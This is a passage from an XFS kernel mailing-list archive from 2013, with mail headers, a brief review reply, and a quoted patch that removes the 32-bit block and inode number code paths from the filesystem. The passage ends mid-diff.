X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386692308 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142989 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 01:45:48PM -0600, Ben Myers wrote: > > + if (ordered) { > > + /* track as an ordered logvec */ > > + ASSERT(lip->li_lv == NULL); > > + lv->lv_buf_len = XFS_LOG_VEC_ORDERED; > > + goto insert; > > It looks like lv->lv_niovecs is no longer being set in this case. Was that intentional? Yes, ordered log vecs don't have iovecs attached, so the implicit zero from the kmem_zalloc is the right value. From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 10:20:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C56A17FB1 for ; Tue, 10 Dec 2013 10:20:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B42858F804B for ; Tue, 10 Dec 2013 08:20:08 -0800 (PST) X-ASG-Debug-ID: 1386692405-04cb6c537d678e20001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id B2BHijHRTdQLWoJZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 08:20:05 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqQ2X-0000yh-AV for xfs@oss.sgi.com; Tue, 10 Dec 2013 16:20:05 +0000 Date: Tue, 10 Dec 2013 08:20:05 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: require 64-bit sector_t Message-ID: <20131210162005.GA32644@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: require 64-bit sector_t References: <20131114164603.GA13628@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131114164603.GA13628@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386692405 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.75 X-Barracuda-Spam-Status: No, SCORE=0.75 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_RULE_7580F X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142989 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.75 BSF_RULE_7580F Custom Rule 7580F ping? On Thu, Nov 14, 2013 at 08:46:03AM -0800, Christoph Hellwig wrote: > Trying to support tiny disks only and saving a bit memory might have > made sense on an SGI O2 15 years ago, but is pretty pointless today. > > Remove the rarely tested codepath that uses various smaller in-memory > types to reduce our test matrix and make the codebase a little bit > smaller and less complicated. > > > Signed-off-by: Christoph Hellwig > > diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig > index 399e8ce..5d47b4d 100644 > --- a/fs/xfs/Kconfig > +++ b/fs/xfs/Kconfig > @@ -1,6 +1,7 @@ > config XFS_FS > tristate "XFS filesystem support" > depends on BLOCK > + depends on (64BIT || LBDAF) > select EXPORTFS > select LIBCRC32C > help > diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c > index 1c02da8..b0eccfc 100644 > --- a/fs/xfs/xfs_bmap.c > +++ b/fs/xfs/xfs_bmap.c > @@ -393,7 +393,7 @@ xfs_bmap_check_leaf_extents( > pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); > bno = be64_to_cpu(*pp); > > - ASSERT(bno != NULLDFSBNO); > + ASSERT(bno != NULLFSBLOCK); > ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); > ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); > > @@ -1295,7 +1295,7 @@ xfs_bmap_read_extents( > ASSERT(level > 0); > pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); > bno = be64_to_cpu(*pp); > - ASSERT(bno != NULLDFSBNO); > + ASSERT(bno != NULLFSBLOCK); > ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); > ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); > /* > @@ -1425,11 +1425,7 @@ xfs_bmap_search_multi_extents( > gotp->br_startoff = 0xffa5a5a5a5a5a5a5LL; > gotp->br_blockcount = 0xa55a5a5a5a5a5a5aLL; > gotp->br_state = XFS_EXT_INVALID; > -#if XFS_BIG_BLKNOS > gotp->br_startblock = 0xffffa5a5a5a5a5a5LL; > -#else > - gotp->br_startblock = 0xffffa5a5; > -#endif > prevp->br_startoff = NULLFILEOFF; > > ep = xfs_iext_bno_to_ext(ifp, bno, &lastx); > diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c > index 706bc3f..9c05b00 100644 > --- a/fs/xfs/xfs_bmap_btree.c > +++ b/fs/xfs/xfs_bmap_btree.c > @@ -111,23 +111,8 @@ __xfs_bmbt_get_all( > ext_flag = (int)(l0 >> (64 - BMBT_EXNTFLAG_BITLEN)); > s->br_startoff = ((xfs_fileoff_t)l0 & > xfs_mask64lo(64 - BMBT_EXNTFLAG_BITLEN)) >> 9; > -#if XFS_BIG_BLKNOS > s->br_startblock = (((xfs_fsblock_t)l0 & xfs_mask64lo(9)) << 43) | > (((xfs_fsblock_t)l1) >> 21); > -#else > -#ifdef DEBUG > - { > - xfs_dfsbno_t b; > - > - b = (((xfs_dfsbno_t)l0 & xfs_mask64lo(9)) << 43) | > - (((xfs_dfsbno_t)l1) >> 21); > - ASSERT((b >> 32) == 0 || isnulldstartblock(b)); > - s->br_startblock = (xfs_fsblock_t)b; > - } > -#else /* !DEBUG */ > - s->br_startblock = (xfs_fsblock_t)(((xfs_dfsbno_t)l1) >> 21); > -#endif /* DEBUG */ > -#endif /* XFS_BIG_BLKNOS */ > s->br_blockcount = (xfs_filblks_t)(l1 & xfs_mask64lo(21)); > /* This is xfs_extent_state() in-line */ > if (ext_flag) { > @@ -163,21 +148,8 @@ xfs_fsblock_t > xfs_bmbt_get_startblock( > xfs_bmbt_rec_host_t *r) > { > -#if XFS_BIG_BLKNOS > return (((xfs_fsblock_t)r->l0 & xfs_mask64lo(9)) << 43) | > (((xfs_fsblock_t)r->l1) >> 21); > -#else > -#ifdef DEBUG > - xfs_dfsbno_t b; > - > - b = (((xfs_dfsbno_t)r->l0 & xfs_mask64lo(9)) << 43) | > - (((xfs_dfsbno_t)r->l1) >> 21); > - ASSERT((b >> 32) == 0 || isnulldstartblock(b)); > - return (xfs_fsblock_t)b; > -#else /* !DEBUG */ > - return (xfs_fsblock_t)(((xfs_dfsbno_t)r->l1) >> 21); > -#endif /* DEBUG */ > -#endif /* XFS_BIG_BLKNOS */ > } > > /* > @@ -241,7 +213,6 @@ xfs_bmbt_set_allf( > ASSERT((startoff & xfs_mask64hi(64-BMBT_STARTOFF_BITLEN)) == 0); > ASSERT((blockcount & xfs_mask64hi(64-BMBT_BLOCKCOUNT_BITLEN)) == 0); > > -#if XFS_BIG_BLKNOS > ASSERT((startblock & xfs_mask64hi(64-BMBT_STARTBLOCK_BITLEN)) == 0); > > r->l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | > @@ -250,23 +221,6 @@ xfs_bmbt_set_allf( > r->l1 = ((xfs_bmbt_rec_base_t)startblock << 21) | > ((xfs_bmbt_rec_base_t)blockcount & > (xfs_bmbt_rec_base_t)xfs_mask64lo(21)); > -#else /* !XFS_BIG_BLKNOS */ > - if (isnullstartblock(startblock)) { > - r->l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | > - ((xfs_bmbt_rec_base_t)startoff << 9) | > - (xfs_bmbt_rec_base_t)xfs_mask64lo(9); > - r->l1 = xfs_mask64hi(11) | > - ((xfs_bmbt_rec_base_t)startblock << 21) | > - ((xfs_bmbt_rec_base_t)blockcount & > - (xfs_bmbt_rec_base_t)xfs_mask64lo(21)); > - } else { > - r->l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | > - ((xfs_bmbt_rec_base_t)startoff << 9); > - r->l1 = ((xfs_bmbt_rec_base_t)startblock << 21) | > - ((xfs_bmbt_rec_base_t)blockcount & > - (xfs_bmbt_rec_base_t)xfs_mask64lo(21)); > - } > -#endif /* XFS_BIG_BLKNOS */ > } > > /* > @@ -298,8 +252,6 @@ xfs_bmbt_disk_set_allf( > ASSERT(state == XFS_EXT_NORM || state == XFS_EXT_UNWRITTEN); > ASSERT((startoff & xfs_mask64hi(64-BMBT_STARTOFF_BITLEN)) == 0); > ASSERT((blockcount & xfs_mask64hi(64-BMBT_BLOCKCOUNT_BITLEN)) == 0); > - > -#if XFS_BIG_BLKNOS > ASSERT((startblock & xfs_mask64hi(64-BMBT_STARTBLOCK_BITLEN)) == 0); > > r->l0 = cpu_to_be64( > @@ -310,26 +262,6 @@ xfs_bmbt_disk_set_allf( > ((xfs_bmbt_rec_base_t)startblock << 21) | > ((xfs_bmbt_rec_base_t)blockcount & > (xfs_bmbt_rec_base_t)xfs_mask64lo(21))); > -#else /* !XFS_BIG_BLKNOS */ > - if (isnullstartblock(startblock)) { > - r->l0 = cpu_to_be64( > - ((xfs_bmbt_rec_base_t)extent_flag << 63) | > - ((xfs_bmbt_rec_base_t)startoff << 9) | > - (xfs_bmbt_rec_base_t)xfs_mask64lo(9)); > - r->l1 = cpu_to_be64(xfs_mask64hi(11) | > - ((xfs_bmbt_rec_base_t)startblock << 21) | > - ((xfs_bmbt_rec_base_t)blockcount & > - (xfs_bmbt_rec_base_t)xfs_mask64lo(21))); > - } else { > - r->l0 = cpu_to_be64( > - ((xfs_bmbt_rec_base_t)extent_flag << 63) | > - ((xfs_bmbt_rec_base_t)startoff << 9)); > - r->l1 = cpu_to_be64( > - ((xfs_bmbt_rec_base_t)startblock << 21) | > - ((xfs_bmbt_rec_base_t)blockcount & > - (xfs_bmbt_rec_base_t)xfs_mask64lo(21))); > - } > -#endif /* XFS_BIG_BLKNOS */ > } > > /* > @@ -365,24 +297,11 @@ xfs_bmbt_set_startblock( > xfs_bmbt_rec_host_t *r, > xfs_fsblock_t v) > { > -#if XFS_BIG_BLKNOS > ASSERT((v & xfs_mask64hi(12)) == 0); > r->l0 = (r->l0 & (xfs_bmbt_rec_base_t)xfs_mask64hi(55)) | > (xfs_bmbt_rec_base_t)(v >> 43); > r->l1 = (r->l1 & (xfs_bmbt_rec_base_t)xfs_mask64lo(21)) | > (xfs_bmbt_rec_base_t)(v << 21); > -#else /* !XFS_BIG_BLKNOS */ > - if (isnullstartblock(v)) { > - r->l0 |= (xfs_bmbt_rec_base_t)xfs_mask64lo(9); > - r->l1 = (xfs_bmbt_rec_base_t)xfs_mask64hi(11) | > - ((xfs_bmbt_rec_base_t)v << 21) | > - (r->l1 & (xfs_bmbt_rec_base_t)xfs_mask64lo(21)); > - } else { > - r->l0 &= ~(xfs_bmbt_rec_base_t)xfs_mask64lo(9); > - r->l1 = ((xfs_bmbt_rec_base_t)v << 21) | > - (r->l1 & (xfs_bmbt_rec_base_t)xfs_mask64lo(21)); > - } > -#endif /* XFS_BIG_BLKNOS */ > } > > /* > @@ -438,8 +357,8 @@ xfs_bmbt_to_bmdr( > cpu_to_be64(XFS_BUF_DADDR_NULL)); > } else > ASSERT(rblock->bb_magic == cpu_to_be32(XFS_BMAP_MAGIC)); > - ASSERT(rblock->bb_u.l.bb_leftsib == cpu_to_be64(NULLDFSBNO)); > - ASSERT(rblock->bb_u.l.bb_rightsib == cpu_to_be64(NULLDFSBNO)); > + ASSERT(rblock->bb_u.l.bb_leftsib == cpu_to_be64(NULLFSBLOCK)); > + ASSERT(rblock->bb_u.l.bb_rightsib == cpu_to_be64(NULLFSBLOCK)); > ASSERT(rblock->bb_level != 0); > dblock->bb_level = rblock->bb_level; > dblock->bb_numrecs = rblock->bb_numrecs; > @@ -765,11 +684,11 @@ xfs_bmbt_verify( > > /* sibling pointer verification */ > if (!block->bb_u.l.bb_leftsib || > - (block->bb_u.l.bb_leftsib != cpu_to_be64(NULLDFSBNO) && > + (block->bb_u.l.bb_leftsib != cpu_to_be64(NULLFSBLOCK) && > !XFS_FSB_SANITY_CHECK(mp, be64_to_cpu(block->bb_u.l.bb_leftsib)))) > return false; > if (!block->bb_u.l.bb_rightsib || > - (block->bb_u.l.bb_rightsib != cpu_to_be64(NULLDFSBNO) && > + (block->bb_u.l.bb_rightsib != cpu_to_be64(NULLFSBLOCK) && > !XFS_FSB_SANITY_CHECK(mp, be64_to_cpu(block->bb_u.l.bb_rightsib)))) > return false; > > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > index 5887e41..699776e 100644 > --- a/fs/xfs/xfs_bmap_util.c > +++ b/fs/xfs/xfs_bmap_util.c > @@ -467,7 +467,7 @@ xfs_bmap_count_blocks( > ASSERT(level > 0); > pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); > bno = be64_to_cpu(*pp); > - ASSERT(bno != NULLDFSBNO); > + ASSERT(bno != NULLFSBLOCK); > ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); > ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); > > diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c > index 9adaae4..6f217a5 100644 > --- a/fs/xfs/xfs_btree.c > +++ b/fs/xfs/xfs_btree.c > @@ -76,11 +76,11 @@ xfs_btree_check_lblock( > be16_to_cpu(block->bb_numrecs) <= > cur->bc_ops->get_maxrecs(cur, level) && > block->bb_u.l.bb_leftsib && > - (block->bb_u.l.bb_leftsib == cpu_to_be64(NULLDFSBNO) || > + (block->bb_u.l.bb_leftsib == cpu_to_be64(NULLFSBLOCK) || > XFS_FSB_SANITY_CHECK(mp, > be64_to_cpu(block->bb_u.l.bb_leftsib))) && > block->bb_u.l.bb_rightsib && > - (block->bb_u.l.bb_rightsib == cpu_to_be64(NULLDFSBNO) || > + (block->bb_u.l.bb_rightsib == cpu_to_be64(NULLFSBLOCK) || > XFS_FSB_SANITY_CHECK(mp, > be64_to_cpu(block->bb_u.l.bb_rightsib))); > > @@ -165,12 +165,12 @@ xfs_btree_check_block( > int /* error (0 or EFSCORRUPTED) */ > xfs_btree_check_lptr( > struct xfs_btree_cur *cur, /* btree cursor */ > - xfs_dfsbno_t bno, /* btree block disk address */ > + xfs_fsblock_t bno, /* btree block disk address */ > int level) /* btree block level */ > { > XFS_WANT_CORRUPTED_RETURN( > level > 0 && > - bno != NULLDFSBNO && > + bno != NULLFSBLOCK && > XFS_FSB_SANITY_CHECK(cur->bc_mp, bno)); > return 0; > } > @@ -601,7 +601,7 @@ xfs_btree_islastblock( > block = xfs_btree_get_block(cur, level, &bp); > xfs_btree_check_block(cur, block, level, bp); > if (cur->bc_flags & XFS_BTREE_LONG_PTRS) > - return block->bb_u.l.bb_rightsib == cpu_to_be64(NULLDFSBNO); > + return block->bb_u.l.bb_rightsib == cpu_to_be64(NULLFSBLOCK); > else > return block->bb_u.s.bb_rightsib == cpu_to_be32(NULLAGBLOCK); > } > @@ -778,16 +778,16 @@ xfs_btree_readahead_lblock( > struct xfs_btree_block *block) > { > int rval = 0; > - xfs_dfsbno_t left = be64_to_cpu(block->bb_u.l.bb_leftsib); > - xfs_dfsbno_t right = be64_to_cpu(block->bb_u.l.bb_rightsib); > + xfs_fsblock_t left = be64_to_cpu(block->bb_u.l.bb_leftsib); > + xfs_fsblock_t right = be64_to_cpu(block->bb_u.l.bb_rightsib); > > - if ((lr & XFS_BTCUR_LEFTRA) && left != NULLDFSBNO) { > + if ((lr & XFS_BTCUR_LEFTRA) && left != NULLFSBLOCK) { > xfs_btree_reada_bufl(cur->bc_mp, left, 1, > cur->bc_ops->buf_ops); > rval++; > } > > - if ((lr & XFS_BTCUR_RIGHTRA) && right != NULLDFSBNO) { > + if ((lr & XFS_BTCUR_RIGHTRA) && right != NULLFSBLOCK) { > xfs_btree_reada_bufl(cur->bc_mp, right, 1, > cur->bc_ops->buf_ops); > rval++; > @@ -859,7 +859,7 @@ xfs_btree_ptr_to_daddr( > union xfs_btree_ptr *ptr) > { > if (cur->bc_flags & XFS_BTREE_LONG_PTRS) { > - ASSERT(ptr->l != cpu_to_be64(NULLDFSBNO)); > + ASSERT(ptr->l != cpu_to_be64(NULLFSBLOCK)); > > return XFS_FSB_TO_DADDR(cur->bc_mp, be64_to_cpu(ptr->l)); > } else { > @@ -907,9 +907,9 @@ xfs_btree_setbuf( > > b = XFS_BUF_TO_BLOCK(bp); > if (cur->bc_flags & XFS_BTREE_LONG_PTRS) { > - if (b->bb_u.l.bb_leftsib == cpu_to_be64(NULLDFSBNO)) > + if (b->bb_u.l.bb_leftsib == cpu_to_be64(NULLFSBLOCK)) > cur->bc_ra[lev] |= XFS_BTCUR_LEFTRA; > - if (b->bb_u.l.bb_rightsib == cpu_to_be64(NULLDFSBNO)) > + if (b->bb_u.l.bb_rightsib == cpu_to_be64(NULLFSBLOCK)) > cur->bc_ra[lev] |= XFS_BTCUR_RIGHTRA; > } else { > if (b->bb_u.s.bb_leftsib == cpu_to_be32(NULLAGBLOCK)) > @@ -925,7 +925,7 @@ xfs_btree_ptr_is_null( > union xfs_btree_ptr *ptr) > { > if (cur->bc_flags & XFS_BTREE_LONG_PTRS) > - return ptr->l == cpu_to_be64(NULLDFSBNO); > + return ptr->l == cpu_to_be64(NULLFSBLOCK); > else > return ptr->s == cpu_to_be32(NULLAGBLOCK); > } > @@ -936,7 +936,7 @@ xfs_btree_set_ptr_null( > union xfs_btree_ptr *ptr) > { > if (cur->bc_flags & XFS_BTREE_LONG_PTRS) > - ptr->l = cpu_to_be64(NULLDFSBNO); > + ptr->l = cpu_to_be64(NULLFSBLOCK); > else > ptr->s = cpu_to_be32(NULLAGBLOCK); > } > @@ -1004,8 +1004,8 @@ xfs_btree_init_block_int( > buf->bb_numrecs = cpu_to_be16(numrecs); > > if (flags & XFS_BTREE_LONG_PTRS) { > - buf->bb_u.l.bb_leftsib = cpu_to_be64(NULLDFSBNO); > - buf->bb_u.l.bb_rightsib = cpu_to_be64(NULLDFSBNO); > + buf->bb_u.l.bb_leftsib = cpu_to_be64(NULLFSBLOCK); > + buf->bb_u.l.bb_rightsib = cpu_to_be64(NULLFSBLOCK); > if (flags & XFS_BTREE_CRC_BLOCKS) { > buf->bb_u.l.bb_blkno = cpu_to_be64(blkno); > buf->bb_u.l.bb_owner = cpu_to_be64(owner); > diff --git a/fs/xfs/xfs_btree.h b/fs/xfs/xfs_btree.h > index 91e34f2..a5f0ee7 100644 > --- a/fs/xfs/xfs_btree.h > +++ b/fs/xfs/xfs_btree.h > @@ -255,7 +255,7 @@ xfs_btree_check_block( > int /* error (0 or EFSCORRUPTED) */ > xfs_btree_check_lptr( > struct xfs_btree_cur *cur, /* btree cursor */ > - xfs_dfsbno_t ptr, /* btree block disk address */ > + xfs_fsblock_t ptr, /* btree block disk address */ > int level); /* btree block level */ > > /* > diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c > index 796272a..6ea2c63 100644 > --- a/fs/xfs/xfs_da_btree.c > +++ b/fs/xfs/xfs_da_btree.c > @@ -2002,7 +2002,7 @@ xfs_da_grow_inode_int( > struct xfs_trans *tp = args->trans; > struct xfs_inode *dp = args->dp; > int w = args->whichfork; > - xfs_drfsbno_t nblks = dp->i_d.di_nblocks; > + xfs_rfsblock_t nblks = dp->i_d.di_nblocks; > struct xfs_bmbt_irec map, *mapp; > int nmap, error, got, i, mapi; > > diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c > index aafc6e4..411407d 100644 > --- a/fs/xfs/xfs_dir2_sf.c > +++ b/fs/xfs/xfs_dir2_sf.c > @@ -51,10 +51,9 @@ static void xfs_dir2_sf_check(xfs_da_args_t *args); > #else > #define xfs_dir2_sf_check(args) > #endif /* DEBUG */ > -#if XFS_BIG_INUMS > + > static void xfs_dir2_sf_toino4(xfs_da_args_t *args); > static void xfs_dir2_sf_toino8(xfs_da_args_t *args); > -#endif /* XFS_BIG_INUMS */ > > /* > * Given a block directory (dp/block), calculate its size as a shortform (sf) > @@ -115,10 +114,10 @@ xfs_dir2_block_sfsize( > isdotdot = > dep->namelen == 2 && > dep->name[0] == '.' && dep->name[1] == '.'; > -#if XFS_BIG_INUMS > + > if (!isdot) > i8count += be64_to_cpu(dep->inumber) > XFS_DIR2_MAX_SHORT_INUM; > -#endif > + > /* take into account the file type field */ > if (!isdot && !isdotdot) { > count++; > @@ -309,7 +308,7 @@ xfs_dir2_sf_addname( > add_entsize = dp->d_ops->sf_entsize(sfp, args->namelen); > incr_isize = add_entsize; > objchange = 0; > -#if XFS_BIG_INUMS > + > /* > * Do we have to change to 8 byte inodes? > */ > @@ -326,7 +325,7 @@ xfs_dir2_sf_addname( > (uint)sizeof(xfs_dir2_ino4_t)); > objchange = 1; > } > -#endif > + > old_isize = (int)dp->i_d.di_size; > new_isize = old_isize + incr_isize; > /* > @@ -365,10 +364,8 @@ xfs_dir2_sf_addname( > */ > else { > ASSERT(pick == 2); > -#if XFS_BIG_INUMS > if (objchange) > xfs_dir2_sf_toino8(args); > -#endif > xfs_dir2_sf_addname_hard(args, objchange, new_isize); > } > xfs_trans_log_inode(args->trans, dp, XFS_ILOG_CORE | XFS_ILOG_DDATA); > @@ -420,10 +417,8 @@ xfs_dir2_sf_addname_easy( > * Update the header and inode. > */ > sfp->count++; > -#if XFS_BIG_INUMS > if (args->inumber > XFS_DIR2_MAX_SHORT_INUM) > sfp->i8count++; > -#endif > dp->i_d.di_size = new_isize; > xfs_dir2_sf_check(args); > } > @@ -511,10 +506,8 @@ xfs_dir2_sf_addname_hard( > dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); > dp->d_ops->sf_put_ftype(sfep, args->filetype); > sfp->count++; > -#if XFS_BIG_INUMS > if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) > sfp->i8count++; > -#endif > /* > * If there's more left to copy, do that. > */ > @@ -588,13 +581,8 @@ xfs_dir2_sf_addname_pick( > /* > * If changing the inode number size, do it the hard way. > */ > -#if XFS_BIG_INUMS > - if (objchange) { > + if (objchange) > return 2; > - } > -#else > - ASSERT(objchange == 0); > -#endif > /* > * If it won't fit at the end then do it the hard way (use the hole). > */ > @@ -645,7 +633,6 @@ xfs_dir2_sf_check( > ASSERT(dp->d_ops->sf_get_ftype(sfep) < XFS_DIR3_FT_MAX); > } > ASSERT(i8count == sfp->i8count); > - ASSERT(XFS_BIG_INUMS || i8count == 0); > ASSERT((char *)sfep - (char *)sfp == dp->i_d.di_size); > ASSERT(offset + > (sfp->count + 2) * (uint)sizeof(xfs_dir2_leaf_entry_t) + > @@ -865,7 +852,6 @@ xfs_dir2_sf_removename( > */ > xfs_idata_realloc(dp, newsize - oldsize, XFS_DATA_FORK); > sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; > -#if XFS_BIG_INUMS > /* > * Are we changing inode number size? > */ > @@ -875,7 +861,6 @@ xfs_dir2_sf_removename( > else > sfp->i8count--; > } > -#endif > xfs_dir2_sf_check(args); > xfs_trans_log_inode(args->trans, dp, XFS_ILOG_CORE | XFS_ILOG_DDATA); > return 0; > @@ -890,12 +875,8 @@ xfs_dir2_sf_replace( > { > xfs_inode_t *dp; /* incore directory inode */ > int i; /* entry index */ > -#if XFS_BIG_INUMS || defined(DEBUG) > xfs_ino_t ino=0; /* entry old inode number */ > -#endif > -#if XFS_BIG_INUMS > int i8elevated; /* sf_toino8 set i8count=1 */ > -#endif > xfs_dir2_sf_entry_t *sfep; /* shortform directory entry */ > xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ > > @@ -915,7 +896,7 @@ xfs_dir2_sf_replace( > ASSERT(dp->i_df.if_u1.if_data != NULL); > sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; > ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(sfp->i8count)); > -#if XFS_BIG_INUMS > + > /* > * New inode number is large, and need to convert to 8-byte inodes. > */ > @@ -946,17 +927,15 @@ xfs_dir2_sf_replace( > sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; > } else > i8elevated = 0; > -#endif > + > ASSERT(args->namelen != 1 || args->name[0] != '.'); > /* > * Replace ..'s entry. > */ > if (args->namelen == 2 && > args->name[0] == '.' && args->name[1] == '.') { > -#if XFS_BIG_INUMS || defined(DEBUG) > ino = dp->d_ops->sf_get_parent_ino(sfp); > ASSERT(args->inumber != ino); > -#endif > dp->d_ops->sf_put_parent_ino(sfp, args->inumber); > } > /* > @@ -967,10 +946,8 @@ xfs_dir2_sf_replace( > i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { > if (xfs_da_compname(args, sfep->name, sfep->namelen) == > XFS_CMP_EXACT) { > -#if XFS_BIG_INUMS || defined(DEBUG) > ino = dp->d_ops->sf_get_ino(sfp, sfep); > ASSERT(args->inumber != ino); > -#endif > dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); > dp->d_ops->sf_put_ftype(sfep, args->filetype); > break; > @@ -981,14 +958,11 @@ xfs_dir2_sf_replace( > */ > if (i == sfp->count) { > ASSERT(args->op_flags & XFS_DA_OP_OKNOENT); > -#if XFS_BIG_INUMS > if (i8elevated) > xfs_dir2_sf_toino4(args); > -#endif > return XFS_ERROR(ENOENT); > } > } > -#if XFS_BIG_INUMS > /* > * See if the old number was large, the new number is small. > */ > @@ -1015,13 +989,11 @@ xfs_dir2_sf_replace( > if (!i8elevated) > sfp->i8count++; > } > -#endif > xfs_dir2_sf_check(args); > xfs_trans_log_inode(args->trans, dp, XFS_ILOG_DDATA); > return 0; > } > > -#if XFS_BIG_INUMS > /* > * Convert from 8-byte inode numbers to 4-byte inode numbers. > * The last 8-byte inode number is gone, but the count is still 1. > @@ -1176,4 +1148,3 @@ xfs_dir2_sf_toino8( > dp->i_d.di_size = newsize; > xfs_trans_log_inode(args->trans, dp, XFS_ILOG_CORE | XFS_ILOG_DDATA); > } > -#endif /* XFS_BIG_INUMS */ > diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h > index b6ab5a3..e6b8f7d 100644 > --- a/fs/xfs/xfs_format.h > +++ b/fs/xfs/xfs_format.h > @@ -68,11 +68,7 @@ struct xfs_ifork; > #define XFS_RTLOBIT(w) xfs_lowbit32(w) > #define XFS_RTHIBIT(w) xfs_highbit32(w) > > -#if XFS_BIG_BLKNOS > #define XFS_RTBLOCKLOG(b) xfs_highbit64(b) > -#else > -#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) > -#endif > > /* > * Dquot and dquot block format definitions > @@ -290,23 +286,15 @@ typedef struct xfs_bmbt_rec_host { > * Values and macros for delayed-allocation startblock fields. > */ > #define STARTBLOCKVALBITS 17 > -#define STARTBLOCKMASKBITS (15 + XFS_BIG_BLKNOS * 20) > -#define DSTARTBLOCKMASKBITS (15 + 20) > +#define STARTBLOCKMASKBITS (15 + 20) > #define STARTBLOCKMASK \ > (((((xfs_fsblock_t)1) << STARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) > -#define DSTARTBLOCKMASK \ > - (((((xfs_dfsbno_t)1) << DSTARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) > > static inline int isnullstartblock(xfs_fsblock_t x) > { > return ((x) & STARTBLOCKMASK) == STARTBLOCKMASK; > } > > -static inline int isnulldstartblock(xfs_dfsbno_t x) > -{ > - return ((x) & DSTARTBLOCKMASK) == DSTARTBLOCKMASK; > -} > - > static inline xfs_fsblock_t nullstartblock(int k) > { > ASSERT(k < (1 << STARTBLOCKVALBITS)); > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index c5fc116..7e907f2 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -254,8 +254,8 @@ typedef struct xfs_fsop_resblks { > ((2 * 1024 * 1024 * 1024ULL) - XFS_MIN_LOG_BYTES) 